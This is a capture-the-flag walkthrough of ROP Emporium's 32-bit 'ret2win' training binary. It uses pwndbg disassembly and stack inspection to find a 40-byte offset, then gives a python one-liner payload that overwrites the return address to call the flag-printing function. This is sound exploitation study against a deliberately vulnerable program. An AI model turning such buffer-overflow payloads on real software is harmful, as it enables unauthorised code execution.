ROP Emporium - ret2win
Lets analyse the binary with the help of file
command,
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped
It is a not stripped
binary so we can view symbols in it
Lets try running this binary,
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> monish
Thank you!
Exiting
Lets use our debugger on this binary,
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08048374 _init
0x080483b0 read@plt
0x080483c0 printf@plt
0x080483d0 puts@plt
0x080483e0 system@plt
0x080483f0 __libc_start_main@plt
0x08048400 setvbuf@plt
0x08048410 memset@plt
0x08048420 __gmon_start__@plt
0x08048430 _start
0x08048470 _dl_relocate_static_pie
0x08048480 __x86.get_pc_thunk.bx
0x08048490 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048540 frame_dummy
0x08048546 main
0x080485ad pwnme
0x0804862c ret2win
0x08048660 __libc_csu_init
0x080486c0 __libc_csu_fini
0x080486c4 _fini
So we have three relevant functions, main()
, pwnme()
and ret2win()
Disassembling main()
,
pwndbg> disassemble main
Dump of assembler code for function main:
0x08048546 <+0>: lea ecx,[esp+0x4]
0x0804854a <+4>: and esp,0xfffffff0
0x0804854d <+7>: push DWORD PTR [ecx-0x4]
0x08048550 <+10>: push ebp
0x08048551 <+11>: mov ebp,esp
0x08048553 <+13>: push ecx
0x08048554 <+14>: sub esp,0x4
0x08048557 <+17>: mov eax,ds:0x804a030
0x0804855c <+22>: push 0x0
0x0804855e <+24>: push 0x2
0x08048560 <+26>: push 0x0
0x08048562 <+28>: push eax
0x08048563 <+29>: call 0x8048400 <setvbuf@plt>
0x08048568 <+34>: add esp,0x10
0x0804856b <+37>: sub esp,0xc
0x0804856e <+40>: push 0x80486e0
0x08048573 <+45>: call 0x80483d0 <puts@plt>
0x08048578 <+50>: add esp,0x10
0x0804857b <+53>: sub esp,0xc
0x0804857e <+56>: push 0x80486f8
0x08048583 <+61>: call 0x80483d0 <puts@plt>
0x08048588 <+66>: add esp,0x10
0x0804858b <+69>: call 0x80485ad <pwnme>
0x08048590 <+74>: sub esp,0xc
0x08048593 <+77>: push 0x80486fd
0x08048598 <+82>: call 0x80483d0 <puts@plt>
0x0804859d <+87>: add esp,0x10
0x080485a0 <+90>: mov eax,0x0
0x080485a5 <+95>: mov ecx,DWORD PTR [ebp-0x4]
0x080485a8 <+98>: leave
0x080485a9 <+99>: lea esp,[ecx-0x4]
0x080485ac <+102>: ret
End of assembler dump.
main()
calls pwnme()
Disassembling pwnme()
,
pwndbg> disassemble pwnme
Dump of assembler code for function pwnme:
0x080485ad <+0>: push ebp
0x080485ae <+1>: mov ebp,esp
0x080485b0 <+3>: sub esp,0x28
0x080485b3 <+6>: sub esp,0x4
0x080485b6 <+9>: push 0x20
0x080485b8 <+11>: push 0x0
0x080485ba <+13>: lea eax,[ebp-0x28]
0x080485bd <+16>: push eax
0x080485be <+17>: call 0x8048410 <memset@plt>
0x080485c3 <+22>: add esp,0x10
0x080485c6 <+25>: sub esp,0xc
0x080485c9 <+28>: push 0x8048708
0x080485ce <+33>: call 0x80483d0 <puts@plt>
0x080485d3 <+38>: add esp,0x10
0x080485d6 <+41>: sub esp,0xc
0x080485d9 <+44>: push 0x8048768
0x080485de <+49>: call 0x80483d0 <puts@plt>
0x080485e3 <+54>: add esp,0x10
0x080485e6 <+57>: sub esp,0xc
0x080485e9 <+60>: push 0x8048788
0x080485ee <+65>: call 0x80483d0 <puts@plt>
0x080485f3 <+70>: add esp,0x10
0x080485f6 <+73>: sub esp,0xc
0x080485f9 <+76>: push 0x80487e8
0x080485fe <+81>: call 0x80483c0 <printf@plt>
0x08048603 <+86>: add esp,0x10
0x08048606 <+89>: sub esp,0x4
0x08048609 <+92>: push 0x38
0x0804860b <+94>: lea eax,[ebp-0x28]
0x0804860e <+97>: push eax
0x0804860f <+98>: push 0x0
0x08048611 <+100>: call 0x80483b0 <read@plt>
0x08048616 <+105>: add esp,0x10
0x08048619 <+108>: sub esp,0xc
0x0804861c <+111>: push 0x80487eb
0x08048621 <+116>: call 0x80483d0 <puts@plt>
0x08048626 <+121>: add esp,0x10
0x08048629 <+124>: nop
0x0804862a <+125>: leave
0x0804862b <+126>: ret
End of assembler dump.
In pwnme()
we get the input by,
NOTE: read()
can also be used to store nullbytes
0x08048611 <+100>: call 0x80483b0 <read@plt>
Disassembling ret2win()
,
pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
0x0804862c <+0>: push ebp
0x0804862d <+1>: mov ebp,esp
0x0804862f <+3>: sub esp,0x8
0x08048632 <+6>: sub esp,0xc
0x08048635 <+9>: push 0x80487f6
0x0804863a <+14>: call 0x80483d0 <puts@plt>
0x0804863f <+19>: add esp,0x10
0x08048642 <+22>: sub esp,0xc
0x08048645 <+25>: push 0x8048813
0x0804864a <+30>: call 0x80483e0 <system@plt>
0x0804864f <+35>: add esp,0x10
0x08048652 <+38>: nop
0x08048653 <+39>: leave
0x08048654 <+40>: ret
End of assembler dump.
This function is responsible for displaying flag,
pwndbg> x/s 0x80483e0
0x80483e0 <system@plt>: "\377%\030\240\004\bh\030"
pwndbg> x/s 0x8048813
0x8048813: "/bin/cat flag.txt"
So we have to call this function to pass this program
We can achieve this by simple overflow upto Instruction Pointer
Lets set break points and check the buffer size,
pwndbg> b *0x08048616
Breakpoint 1 at 0x8048616
pwndbg> r
Starting program: /home/ra/ret2win32/ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAABBBBCCCCDDDD
Breakpoint 1, 0x08048616 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
EAX 0x11
EBX 0x0
ECX 0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
EDX 0x38
EDI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
EBP 0xffffd218 —▸ 0xffffd228 ◂— 0x0
ESP 0xffffd1e0 ◂— 0x0
EIP 0x8048616 (pwnme+105) ◂— add esp, 0x10
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x8048616 <pwnme+105> add esp, 0x10
0x8048619 <pwnme+108> sub esp, 0xc
0x804861c <pwnme+111> push 0x80487eb
0x8048621 <pwnme+116> call puts@plt <puts@plt>
0x8048626 <pwnme+121> add esp, 0x10
0x8048629 <pwnme+124> nop
0x804862a <pwnme+125> leave
0x804862b <pwnme+126> ret
0x804862c <ret2win> push ebp
0x804862d <ret2win+1> mov ebp, esp
0x804862f <ret2win+3> sub esp, 8
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffd1e0 ◂— 0x0
01:0004│ 0xffffd1e4 —▸ 0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
02:0008│ 0xffffd1e8 ◂— 0x38 /* '8' */
03:000c│ 0xffffd1ec ◂— 0x4
04:0010│ ecx 0xffffd1f0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014│ 0xffffd1f4 ◂— 'BBBBCCCCDDDD\n'
06:0018│ 0xffffd1f8 ◂— 'CCCCDDDD\n'
07:001c│ 0xffffd1fc ◂— 'DDDD\n'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x8048616 pwnme+105
f 1 0x8048590 main+74
f 2 0xf7dd9ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────
Now lets check our Base Pointer
values,
pwndbg> x/2wx $ebp
0xffffd218: 0xffffd228 0x08048590
The first one is BP
and the second one is IP
Lets check our stack values,
pwndbg> x/30wx $esp
0xffffd1e0: 0x00000000 0xffffd1f0 0x00000038 0x00000004
0xffffd1f0: 0x41414141 0x42424242 0x43434343 0x44444444
0xffffd200: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd210: 0x080486f8 0x00000000 0xffffd228 0x08048590
0xffffd220: 0xf7fe22f0 0xffffd240 0x00000000 0xf7dd9ee5
0xffffd230: 0xf7fa6000 0xf7fa6000 0x00000000 0xf7dd9ee5
0xffffd240: 0x00000001 0xffffd2d4 0xffffd2dc 0xffffd264
0xffffd250: 0xf7fa6000 0x00000000
Our input in buffer starts at 0xffffd1f0
Our BP
is at 0xffffd219
Lets find the space between buffer
and BP
now,
>>> print(0xffffd218-0xffffd1f0)
40
So we have to pass 40 bytes
of junk to reach Base Pointer
We need to overwrite BP
with 4 bytes and IP
with address of ret2win
to call the function by redirecting it
Address of ret2win
is 0x0804862c
Lets try our exploit,
ra@moni~/ret2win32> python -c "print('A'*40+'B'*4+'\x2c\x86\x04\x08')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB,
ra@moni~/ret2win32> python -c "print('A'*40+'B'*4+'\x2c\x86\x04\x08')"|./ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
fish: Process 5738, “./ret2win32” “python -c "print('A'*40+'B'*4+'…” terminated by signal SIGSEGV (Address boundary error)
Done! we have completed “ret2win”